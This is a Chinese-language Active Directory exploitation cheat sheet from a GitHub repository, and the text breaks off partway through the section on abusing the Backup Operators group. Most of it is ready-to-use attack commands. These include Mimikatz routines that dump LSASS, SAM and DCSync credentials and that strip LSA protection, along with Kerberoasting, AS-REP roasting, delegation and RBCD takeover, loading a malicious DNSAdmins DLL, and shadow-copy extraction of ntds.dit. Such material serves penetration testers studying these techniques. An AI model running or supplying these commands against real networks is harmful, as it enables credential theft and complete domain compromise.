S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
GitHub: S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
Stars: 6505 | Forks: 1317
# Active Directory 渗透测试速查表
本速查表包含 Windows Active Directory 常见的枚举和攻击方法。
本速查表灵感来源于 [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) 仓库。

## 概述
- [Active Directory 渗透测试速查表](#active-directory-exploitation-cheat-sheet)
- [概述](#summary)
- [工具](#tools)
- [域枚举](#domain-enumeration)
- [使用 PowerView](#using-powerview)
- [使用 AD 模块](#using-ad-module)
- [使用 BloodHound](#using-bloodhound)
- [远程 BloodHound](#remote-bloodhound)
- [本地 BloodHound](#on-site-bloodhound)
- [使用 Adalanche](#using-adalanche)
- [远程 Adalanche](#remote-adalanche)
- [导出枚举对象](#export-enumerated-objects)
- [有用的枚举工具](#useful-enumeration-tools)
- [本地权限提升](#local-privilege-escalation)
- [有用的本地提权工具](#useful-local-priv-esc-tools)
- [横向移动](#lateral-movement)
- [PowerShell 远程](#powershell-remoting)
- [使用 PS 凭据进行远程代码执行](#remote-code-execution-with-ps-credentials)
- [远程导入 PowerShell 模块并执行其函数](#import-a-powershell-module-and-execute-its-functions-remotely)
- [执行远程有状态命令](#executing-remote-stateful-commands)
- [Mimikatz](#mimikatz)
- [远程桌面协议](#remote-desktop-protocol)
- [URL 文件攻击](#url-file-attacks)
- [有用的工具](#useful-tools)
- [域权限提升](#domain-privilege-escalation)
- [Kerberoast](#kerberoast)
- [ASREPRoast](#asreproast)
- [密码喷洒攻击](#password-spray-attack)
- [强制设置 SPN](#force-set-spn)
- [滥用卷影副本](#abusing-shadow-copies)
- [使用 Mimikatz 列出并解密存储的凭据](#list-and-decrypt-stored-credentials-using-mimikatz)
- [非约束委派](#unconstrained-delegation)
- [约束委派](#constrained-delegation)
- [基于资源的约束委派](#resource-based-constrained-delegation)
- [滥用 DNSAdmins](#dnsadmins-abuse)
- [滥用 Active Directory 集成 DNS](#abusing-active-directory-integraded-dns)
- [滥用 Backup Operators 组](#abusing-backup-operators-group)
- [滥用 Exchange](#abusing-exchange)
- [武器化打印机漏洞](#weaponizing-printer-bug)
- [滥用 ACLs](#abusing-acls)
- [利用 mitm6 滥用 IPv6](#abusing-ipv6-with-mitm6)
- [SID 历史记录滥用](#sid-history-abuse)
- [利用 SharePoint](#exploiting-sharepoint)
- [Zerologon](#zerologon)
- [PrintNightmare](#printnightmare)
- [Active Directory 证书服务](#active-directory-certificate-services)
- [无 PAC](#no-pac)
- [域持久化](#domain-persistence)
- [黄金票据攻击](#golden-ticket-attack)
- [DCsync 攻击](#dcsync-attack)
- [白银票据攻击](#silver-ticket-attack)
- [万能钥匙攻击](#skeleton-key-attack)
- [DSRM 滥用](#dsrm-abuse)
- [自定义 SSP](#custom-ssp)
- [跨林攻击](#cross-forest-attacks)
- [信任票据](#trust-tickets)
- [滥用 MSSQL 服务器](#abuse-mssql-servers)
- [打破林信任](#breaking-forest-trusts)
## 工具
- [Powersploit](https://github.com/PowerShellMafia/PowerSploit/tree/dev)
- [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL)
- [Powermad](https://github.com/Kevin-Robertson/Powermad)
- [Impacket](https://github.com/SecureAuthCorp/impacket)
- [Mimikatz](https://github.com/gentilkiwi/mimikatz)
- [Rubeus](https://github.com/GhostPack/Rubeus) -> [编译版本](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries)
- [BloodHound](https://github.com/BloodHoundAD/BloodHound)
- [AD 模块](https://github.com/samratashok/ADModule)
- [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast)
- [Adalanche](https://github.com/lkarlslund/adalanche)
## 域枚举
### 使用 PowerView
[Powerview v.3.0](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
[Powerview Wiki](https://powersploit.readthedocs.io/en/latest/) - **获取当前域:** `Get-Domain` - **枚举其他域:** `Get-Domain -Domain`
- **获取域 SID:** `Get-DomainSID`
- **获取域策略:**
Get-DomainPolicy
#将向我们显示域关于系统访问或 kerberos 的策略配置
Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess
Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy
- **获取域控制器:**
Get-DomainController
Get-DomainController -Domain
- **枚举域用户:**
#将所有域用户保存到文件
Get-DomainUser | Out-File -FilePath .\DomainUsers.txt
#将返回特定用户的特定属性
Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List
#枚举机器上登录的用户
Get-NetLoggedon -ComputerName
#枚举机器的会话信息
Get-NetSession -ComputerName
#枚举当前/指定域中特定用户登录的域机器
Find-DomainUserLocation -Domain | Select-Object UserName, SessionFromName
- **枚举域计算机:**
Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
#枚举存活的机器
Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
- **枚举组和组成员:**
#将所有域组保存到文件:
Get-DomainGroup | Out-File -FilePath .\DomainGroup.txt
#返回特定组的成员(例如 Domain Admins 和 Enterprise Admins)
Get-DomainGroup -Identity '' | Select-Object -ExpandProperty Member
Get-DomainGroupMember -Identity '' | Select-Object MemberDistinguishedName
#枚举本地(或远程)机器上的本地组。需要远程机器的本地管理员权限
Get-NetLocalGroup | Select-Object GroupName
#枚举本地(或远程)机器上特定本地组的成员。同样需要远程机器的本地管理员权限
Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain
#返回域中所有通过受限组或组策略首选项修改本地组成员身份的 GPO
Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
- **枚举共享:**
#枚举域共享
Find-DomainShare
#枚举当前用户有权访问的域共享
Find-DomainShare -CheckShareAccess
#枚举可访问共享上的“有趣”文件
Find-InterestingDomainShareFile -Include *passwords*
- **枚举组策略:**
Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName
#枚举特定计算机的所有 GPO
Get-DomainGPO -ComputerIdentity -Properties DisplayName | Sort-Object -Property DisplayName
#获取属于机器本地管理员组的用户
Get-DomainGPOComputerLocalGroupMapping -ComputerName
- **枚举 OU:**
Get-DomainOU -Properties Name | Sort-Object -Property Name
- **枚举 ACL:**
# 返回与指定账户关联的 ACL
Get-DomainObjectAcl -Identity -ResolveGUIDs
#搜索有趣的 ACE
Find-InterestingDomainAcl -ResolveGUIDs
#检查与指定路径关联的 ACL(例如 smb 共享)
Get-PathAcl -Path "\\Path\Of\A\Share"
- **枚举域信任:**
Get-DomainTrust
Get-DomainTrust -Domain
#枚举当前域的所有信任,然后枚举其发现的每个域的所有信任
Get-DomainTrustMapping
- **枚举林信任:**
Get-ForestDomain
Get-ForestDomain -Forest
#映射林的信任
Get-ForestTrust
Get-ForestTrust -Forest
- **用户搜寻:**
#查找当前域中当前用户具有本地管理员访问权限的所有机器
Find-LocalAdminAccess -Verbose
#查找域中所有机器上的本地管理员
Find-DomainLocalGroupMember -Verbose
#查找域管理员或指定用户有会话的计算机
Find-DomainUserLocation | Select-Object UserName, SessionFromName
#确认管理员访问权限
Test-AdminAccess
:heavy_exclamation_mark: **通过用户搜寻提权至域管理员:** \
我在一台机器上有本地管理员权限 -> 一位域管理员在该机器上有会话 -> 我窃取他的令牌并模拟他 -> 获利!
### 使用 AD 模块
- **获取当前域:** `Get-ADDomain`
- **枚举其他域:** `Get-ADDomain -Identity `
- **获取域 SID:** `Get-DomainSID`
- **获取域控制器:**
Get-ADDomainController
Get-ADDomainController -Identity
- **枚举域用户:**
Get-ADUser -Filter * -Identity -Properties *
#获取用户属性上的特定“字符串”
Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description
- **枚举域计算机:**
Get-ADComputer -Filter * -Properties *
Get-ADGroup -Filter *
- **枚举域信任:**
Get-ADTrust -Filter *
Get-ADTrust -Identity
- **枚举林信任:**
Get-ADForest
Get-ADForest -Identity
#林枚举的域
(Get-ADForest).Domains
- **枚举本地 AppLocker 有效策略:**
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
### 使用 BloodHound
#### 远程 BloodHound
[Python BloodHound 仓库](https://github.com/fox-it/BloodHound.py) 或使用 `pip3 install bloodhound` 安装
```
bloodhound-python -u -p -ns -d -c All
```
#### 本地 BloodHound
```
#Using exe ingestor
.\SharpHound.exe --CollectionMethod All --LdapUsername --LdapPassword --domain --domaincontroller --OutputDirectory
#Using PowerShell module ingestor
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername --LdapPassword --OutputDirectory
```
### 使用 Adalanche
#### 远程 Adalanche
```
# kali linux:
./adalanche collect activedirectory --domain \
--username --password \
--server
# 示例:
./adalanche collect activedirectory --domain windcorp.local \
--username spoNge369@windcorp.local --password 'password123!' \
--server dc.windcorp.htb
## -> 成功终止
## 有任何错误吗?:
# LDAP 结果代码 200 "网络错误": x509: 证书由未知机构签名 ?
./adalanche collect activedirectory --domain windcorp.local \
--username spoNge369@windcorp.local --password 'password123!' \
--server dc.windcorp.htb --tlsmode NoTLS --port 389
# 凭据无效 ?
./adalanche collect activedirectory --domain windcorp.local \
--username spoNge369@windcorp.local --password 'password123!' \
--server dc.windcorp.htb --tlsmode NoTLS --port 389 \
--authmode basic
# 分析数据
# 转到 Web 浏览器 -> 127.0.0.1:8080
./adalanche analyze
```
#### 导出枚举对象
您可以将任何模块/cmdlet 中枚举的对象导出到 XML 文件中以供后续分析。
`Export-Clixml` cmdlet 创建对象或对象的基于公共语言基础结构 (CLI) XML 的表示形式,并将其存储在文件中。然后,您可以使用 `Import-Clixml` cmdlet 根据该文件的内容重新创建保存的对象。
```
# 将域用户导出到 xml 文件。
Get-DomainUser | Export-CliXml .\DomainUsers.xml
# 稍后,当您想利用它们进行分析时,即使在任何其他机器上。
$DomainUsers = Import-CliXml .\DomainUsers.xml
# 您现在可以应用任何条件、过滤器等。
$DomainUsers | select name
$DomainUsers | ? {$_.name -match "User's Name"}
```
### 有用的枚举工具
- [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) 通过 LDAP 的信息转储器
- [adidnsdump](https://github.com/dirkjanm/adidnsdump) 由任何经过身份验证的用户进行的集成 DNS 转储
- [ACLight](https://github.com/cyberark/ACLight) 特权账户的高级发现
- [ADRecon](https://github.com/sense-of-security/ADRecon) 详细的 Active Directory 侦察工具
## 本地权限提升
- [Windows 本地权限提升手册](https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook) Windows 本地权限提升手册
- [Juicy Potato](https://github.com/ohpe/juicy-potato) 滥用 SeImpersonate 或 SeAssignPrimaryToken 权限进行系统模拟
:warning: 仅适用于 Windows Server 2016 和 Windows 10 直到补丁 1803
- [Lovely Potato](https://github.com/TsukiCTF/Lovely-Potato) 自动化 Juicy Potato
:warning: 仅适用于 Windows Server 2016 和 Windows 10 直到补丁 1803
- [PrintSpoofer](https://github.com/itm4n/PrintSpoofer) 利用 PrinterBug 进行系统模拟
:pray: 适用于 Windows Server 2019 和 Windows 10
- [RoguePotato](https://github.com/antonioCoco/RoguePotato) 升级版 Juicy Potato
:pray: 适用于 Windows Server 2019 和 Windows 10
- [滥用令牌权限](https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/)
- [SMBGhost CVE-2020-0796](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/) \
[PoC](https://github.com/danigargu/CVE-2020-0796)
- [CVE-2021-36934 (HiveNightmare/SeriousSAM)](https://github.com/cube0x0/CVE-2021-36934)
### 有用的本地提权工具
- [PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1) 配置错误滥用
- [BeRoot](https://github.com/AlessandroZ/BeRoot) 通用提权枚举工具
- [Privesc](https://github.com/enjoiz/Privesc) 通用提权枚举工具
- [FullPowers](https://github.com/itm4n/FullPowers) 恢复服务账户的权限
## 横向移动
### PowerShell 远程
```
#Enable PowerShell Remoting on current Machine (Needs Admin Access)
Enable-PSRemoting
#Entering or Starting a new PSSession (Needs Admin Access)
$sess = New-PSSession -ComputerName
Enter-PSSession -ComputerName OR -Sessions
```
### 使用 PS 凭据进行远程代码执行
```
$SecPassword = ConvertTo-SecureString '' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\', $SecPassword)
Invoke-Command -ComputerName -Credential $Cred -ScriptBlock {whoami}
```
### 远程导入 PowerShell 模块并执行其函数
#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}
#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}
```
### Mimikatz
```
#The commands are in cobalt strike format!
#Dump LSASS:
mimikatz privilege::debug
mimikatz token::elevate
mimikatz sekurlsa::logonpasswords
#(Over) Pass The Hash
mimikatz privilege::debug
mimikatz sekurlsa::pth /user: /ntlm:<> /domain:
#List all available kerberos tickets in memory
mimikatz sekurlsa::tickets
#Dump local Terminal Services credentials
mimikatz sekurlsa::tspkg
#Dump and save LSASS in a file
mimikatz sekurlsa::minidump c:\temp\lsass.dmp
#List cached MasterKeys
mimikatz sekurlsa::dpapi
#List local Kerberos AES Keys
mimikatz sekurlsa::ekeys
#Dump SAM Database
mimikatz lsadump::sam
#Dump SECRETS Database
mimikatz lsadump::secrets
#Inject and dump the Domain Controler's Credentials
mimikatz privilege::debug
mimikatz token::elevate
mimikatz lsadump::lsa /inject
#Dump the Domain's Credentials without touching DC's LSASS and also remotely
mimikatz lsadump::dcsync /domain: /all
#Dump old passwords and NTLM hashes of a user
mimikatz lsadump::dcsync /user:\ /history
#List and Dump local kerberos credentials
mimikatz kerberos::list /dump
#Pass The Ticket
mimikatz kerberos::ptt
#List TS/RDP sessions
mimikatz ts::sessions
#List Vault credentials
mimikatz vault::list
```
:exclamation: 如果 mimikatz 因 LSA 保护控制而无法转储凭据怎么办?
- LSA 作为受保护进程(内核层绕过)
#通过查看变量 "RunAsPPL" 是否设置为 0x1 来检查 LSA 是否作为受保护进程运行
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
#接下来将官方 mimikatz 仓库中的 mimidriver.sys 上传到 mimikatz.exe 的同一文件夹
#现在让我们将 mimidriver.sys 导入系统
mimikatz # !+
#现在让我们从 lsass.exe 进程中移除保护标志
mimikatz # !processprotect /process:lsass.exe /remove
#最后运行 logonpasswords 函数转储 lsass
mimikatz # sekurlsa::logonpasswords
- LSA 作为受保护进程(用户态“无文件”绕过)
- [PPLdump](https://github.com/itm4n/PPLdump)
- [在用户态绕过 LSA 保护](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland)
- LSA 由 Credential Guard 作为虚拟化进程 (LSAISO) 运行
#检查正在运行的进程中是否存在名为 lsaiso.exe 的进程
tasklist |findstr lsaiso
#如果存在,则无法转储 lsass,我们只能获取加密数据。但我们仍然可以使用键盘记录器或剪贴板转储器来捕获数据。
#让我们将自己的恶意安全支持提供程序注入内存,在这个例子中我将使用 mimikatz 提供的那个
mimikatz # misc::memssp
#现在每次用户会话和登录此机器都会被记录,明文凭据将被捕获并转储到 c:\windows\system32\mimilsa.log
- [详细的 Mimikatz 指南](https://adsecurity.org/?page_id=1821)
- [探索 2 种 lsass 保护选项](https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a)
### 远程桌面协议
如果我们想要横向移动到的主机启用了 "RestrictedAdmin",我们可以使用 RDP 协议传递哈希并在没有明文密码的情况下获得交互式会话。
- Mimikatz:
#我们使用 mimikatz 执行传递哈希并生成一个带有 "/restrictedadmin" 标志的 mstsc.exe 实例
privilege::debug
sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin"
#然后只需在 RDP 对话框中单击确定,以我们模拟的用户身份享受交互式会话
- xFreeRDP:
```
xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8 /u: /pth: /v:
```
:exclamation: 如果远程机器上禁用了受限管理员模式,我们可以使用其他工具/协议(如 psexec 或 winrm)连接到主机,并通过创建以下注册表项并将其值设置为零来启用它:"HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin"。
- 绕过“每个用户单会话”限制
在域计算机上,如果您以系统或本地管理员身份执行命令,并且想要使用另一个用户已经在使用的 RDP 会话,您可以通过添加以下注册表项来绕过单会话限制:
```
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0
```
完成所需的操作后,您可以删除该项以恢复每个用户单会话的限制。
```
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUse
```
### URL 文件攻击
- .url 文件
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\\%USERNAME%.icon
IconIndex=1
[InternetShortcut]
URL=file:///leak/leak.html
- .scf 文件
[Shell]
Command=2
IconFile=\\\Share\test.ico
[Taskbar]
Command=ToggleDesktop
将这些文件放入可写共享中,受害者只需打开文件资源管理器并导航到该共享。**注意**,不需要打开文件或用户与其交互,但它必须位于文件系统的顶部或在 Windows 资源管理器窗口中可见以便被渲染。使用 responder 捕获哈希。
:exclamation: .scf 文件攻击在最新版本的 Windows 上不起作用。
### 有用的工具
- [Powercat](https://github.com/besimorhino/powercat) 用 powershell 编写的 netcat,提供隧道、中继和端口转发功能。
- [SCShell](https://github.com/Mr-Un1k0d3r/SCShell) 依赖 ChangeServiceConfigA 运行命令的无文件横向移动工具
- [Evil-Winrm](https://github.com/Hackplayers/evil-winrm) 用于黑客/渗透测试的终极 WinRM shell
- [RunasCs](https://github.com/antonioCoco/RunasCs) Windows 内置 runas.exe 的 Csharp 开源版本
- [ntlm_theft](https://github.com/Greenwolf/ntlm_theft.git) 为 url 文件攻击创建所有可能的文件格式
## 域权限提升
### Kerberoast
_这是什么?:_ \
所有标准域用户都可以请求所有服务账户的副本及其相关的密码哈希,因此我们可以为任何绑定到“用户”账户的 SPN 请求 TGS,提取使用用户密码加密的加密 blob 并离线暴力破解。
- PowerView:
#获取用作服务账户的用户账户
Get-NetUser -SPN
#获取每个可用的 SPN 账户,请求 TGS 并转储其哈希
Invoke-Kerberoast
#为单个账户请求 TGS:
Request-SPNTicket
#使用 Mimikatz 导出所有票据
Invoke-Mimikatz -Command '"kerberos::list /export"'
- AD 模块:
#获取用作服务账户的用户账户
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
- Impacket:
python GetUserSPNs.py /: -outputfile
- Rubeus:
#Kerberoasting 并以特定格式输出到文件
Rubeus.exe kerberoast /outfile: /domain:
#“OPSEC”安全的 Kerberoasting,本质上是不尝试 roast 启用 AES 的账户
Rubeus.exe kerberoast /outfile: /domain: /rc4opsec
#Kerberoast 启用 AES 的账户
Rubeus.exe kerberoast /outfile: /domain: /aes
#Kerberoast 特定用户账户
Rubeus.exe kerberoast /outfile: /domain: /user: /simple
#通过指定身份验证凭据进行 Kerberoast
Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword:
### ASREPRoast
_这是什么?:_ \
如果域用户账户不需要 kerberos 预认证,我们甚至可以在没有域凭据的情况下为此账户请求有效的 TGT,提取加密 blob 并离线暴力破解。
- PowerView: `Get-DomainUser -PreauthNotRequired -Verbose`
- AD 模块: `Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth`
在我有写入权限或更高权限的账户上强制禁用 Kerberos 预认证!
检查账户上的有趣权限:
**提示:** 我们添加一个过滤器,例如 RDPUsers,以获取“用户账户”而不是机器账户,因为机器账户哈希无法破解!
PowerView:
```
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
Disable Kerberos Preauth:
Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose
Check if the value changed:
Get-DomainUser -PreauthNotRequired -Verbose
```
- 最后使用 [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast) 工具执行攻击。
#获取特定账户的哈希:
Get-ASREPHash -UserName -Verbose
#获取任何 ASREPRoastable 用户的哈希:
Invoke-ASREPRoast -Verbose
- 使用 Rubeus:
#尝试对所有域用户进行攻击
Rubeus.exe asreproast /format: /domain: /outfile:
#ASREPRoast 特定用户
Rubeus.exe asreproast /user: /format: /domain: /outfile:
#ASREPRoast 特定 OU(组织单位)的用户
Rubeus.exe asreproast /ou: /format: /domain: /outfile:
- 使用 Impacket:
#尝试对文件中的指定用户进行攻击
python GetNPUsers.py / -usersfile -outputfile
### 密码喷洒攻击
如果我们通过入侵用户账户收集了一些密码,我们可以使用此方法尝试利用其他域账户上的密码重用。
**工具:**
- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)
- [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)
- [Invoke-CleverSpray](https://github.com/wavestone-cdt/Invoke-CleverSpray)
- [Spray](https://github.com/Greenwolf/Spray)
### 强制设置 SPN
_这是什么?:
如果我们有足够的权限 -> GenericAll/GenericWrite 我们可以在目标账户上设置 SPN,请求 TGS,然后获取其 blob 并暴力破解。_
- PowerView:
#检查账户上的有趣权限:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
#检查当前用户是否已设置 SPN:
Get-DomainUser -Identity | select serviceprincipalname
#强制在账户上设置 SPN:
Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'}
- AD 模块:
#检查当前用户是否已设置 SPN
Get-ADUser -Identity -Properties ServicePrincipalName | select ServicePrincipalName
#强制在账户上设置 SPN:
Set-ADUser -Identiny -ServicePrincipalNames @{Add='ops/whatever1'}
最后使用之前的任何工具获取哈希并对其进行 kerberoast!
### 滥用卷影副本
如果您在机器上拥有本地管理员访问权限,请尝试列出卷影副本,这是域提权的一种简单方法。
```
#List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows
#List shadow copies using diskshadow
diskshadow list shadows all
#Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
```
1. 您可以转储备份的 SAM 数据库并收集凭据。
2. 寻找 DPAPI 存储的凭据并解密它们。
3. 访问备份的敏感文件。
### 使用 Mimikatz 列出并解密存储的凭据
通常加密的凭据存储在:
- `%appdata%\Microsoft\Credentials`
- `%localappdata%\Microsoft\Credentials`
```
#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\"
#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\\"
#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\\" /rpc
#We now have the masterkey in our local cache:
dpapi::cache
#Finally we can decrypt the credential using the cached masterkey:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\"
```
详细文章:
[DPAPI all the things](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials)
### 非约束委派
_这是什么?:如果我们在启用了非约束委派的机器上拥有管理员访问权限,我们可以等待高价值目标或 DA 连接到它,窃取他的 TGT 然后 ptt 并模拟他!_
使用 PowerView:
```
#Discover domain joined computers that have Unconstrained Delegation enabled
Get-NetComputer -UnConstrained
#List tickets and check if a DA or some High Value target has stored its TGT
Invoke-Mimikatz -Command '"sekurlsa::tickets"'
#Command to monitor any incoming sessions on our compromised server
Invoke-UserHunter -ComputerName -Poll -UserName -Delay
-Verbose
#Dump the tickets to disk:
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
#Impersonate the user using ptt attack:
Invoke-Mimikatz -Command '"kerberos::ptt "'
```
**注意:** 我们也可以使用 Rubeus!
### 约束委派
使用 PowerView 和 Kekeo:
```
#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user: /domain: /rc4:
#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt: /user:@ /service:
#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt "'
```
_替代方案:_
使用 Rubeus:
```
Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn:"" /altservice: /ptt
```
现在我们可以作为模拟用户访问服务!
:triangular_flag_on_post: **如果我们只有特定 SPN 的委派权限怎么办?(例如 TIME):**
在这种情况下,我们仍然可以滥用 kerberos 的一个称为“替代服务”的功能。这允许我们请求其他“替代”服务的 TGS 票据,而不仅仅是我们有权限的那个。这使我们要能够为我们想要的任何服务请求有效票据,只要主机支持,从而让我们对目标机器拥有完全访问权。
### 基于资源的约束委派
_这是什么?: \
TL;DR \
如果我们对域的机器账户对象拥有 GenericALL/GenericWrite 权限,我们可以滥用它并模拟自己为域的任何用户。例如,我们可以模拟域管理员并拥有完全访问权限。_
我们将使用的工具:
- [PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon)
- [Powermad](https://github.com/Kevin-Robertson/Powermad)
- [Rubeus](https://github.com/GhostPack/Rubeus)
首先,我们需要进入对该对象拥有权限的用户/机器账户的安全上下文。
如果是用户账户,我们可以使用哈希传递、RDP、PSCredentials 等。
利用示例:
```
#Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose
#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer -Properties objectsid | Select -Expand objectsid
#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#After that we need to get the RC4 hash of the new machine account's password using Rubeus
Rubeus.exe hash /password:'p@ssword!'
#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user: /rc4: /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt
#Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$
```
详细文章:
- [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
- [RESOURCE-BASED CONSTRAINED DELEGATION ABUSE](https://blog.stealthbits.com/resource-based-constrained-delegation-abuse/)
:exclamation: 在约束和基于资源的约束委派中,如果我们没有我们试图滥用的具有 TRUSTED_TO_AUTH_FOR_DELEGATION 的账户的密码/哈希,我们可以使用 kekeo 的非常好的技巧“tgt::deleg”或 rubeus 的“tgtdeleg”并欺骗 Kerberos 为该账户给我们一个有效的 TGT。然后我们只需使用票据而不是账户的哈希来执行攻击。
```
#Command on Rubeus
Rubeus.exe tgtdeleg /nowrap
```
详细文章:
[Rubeus – Now With More Kekeo](https://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/)
### 滥用 DNSAdmins
_这是什么?:如果用户是 DNSAdmins 组的成员,他可能以 SYSTEM 权限运行的 dns.exe 加载任意 DLL。如果 DC 充当 DNS,用户可以将他的权限提升到 DA。此利用过程需要重启 DNS 服务的权限才能工作。_
1. 枚举 DNSAdmins 组的成员:
- PowerView: `Get-NetGroupMember -GroupName "DNSAdmins"`
- AD 模块: `Get-ADGroupMember -Identiny DNSAdmins`
2. 一旦我们找到该组的成员,我们需要它(有很多方法)。
3. 然后通过在 SMB 共享上提供恶意 DLL 并配置 dll 使用,我们可以提升我们的权限:
#使用 dnscmd:
dnscmd /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll
#重启 DNS 服务:
sc \\DNSServer stop dns
sc \\DNSServer start dns
### 滥用 Active Directory 集成 DNS
- [利用 Active Directory 集成 DNS](https://blog.netspi.com/exploiting-adidns/)
- [ADIDNS 重访](https://blog.netspi.com/adidns-revisited/)
- [Inveigh](https://github.com/Kevin-Robertson/Inveigh)
### 滥用 Backup Operators 组
_这是什么?:如果我们成功入侵了 Backup Operators 组成员的用户账户,我们可以滥用其 SeBackupPrivilege 创建 DC 当前状态的卷影副本,提取 ntds.dit 数据库文件,转储哈希并将我们的权限提升到 DA。_
1. 一旦我们有权访问具有 SeBackupPrivilege 的账户,我们就可以访问 DC 并使用签名的二进制文件 diskshadow 创建卷影副本:
#创建一个包含卷影副本过程脚本的 .txt 文件
Script ->{
set context persistent nowriters
set metadata c:\windows\system32\spool\drivers\color\example.cab
set verbose on
begin backup
add volume c: alias mydrive
create
expose %mydrive% w:
end backup
}
#使用我们的脚本作为参数执行 diskshadow
diskshadow /s script.txt
2. 接下来我们需要访问卷影副本,我们可能有 SeBackupPrivilege 但我们不能简单地复制粘贴 ntds.dit,我们需要模拟备份软件并使用 Win32 API 调用将其复制到可访问的文件夹。为此,我们将使用[这个](https://github.com/giuliano108/SeBackupPrivilege)很棒的仓库:
#使用 powershell 从仓库导入两个 dll
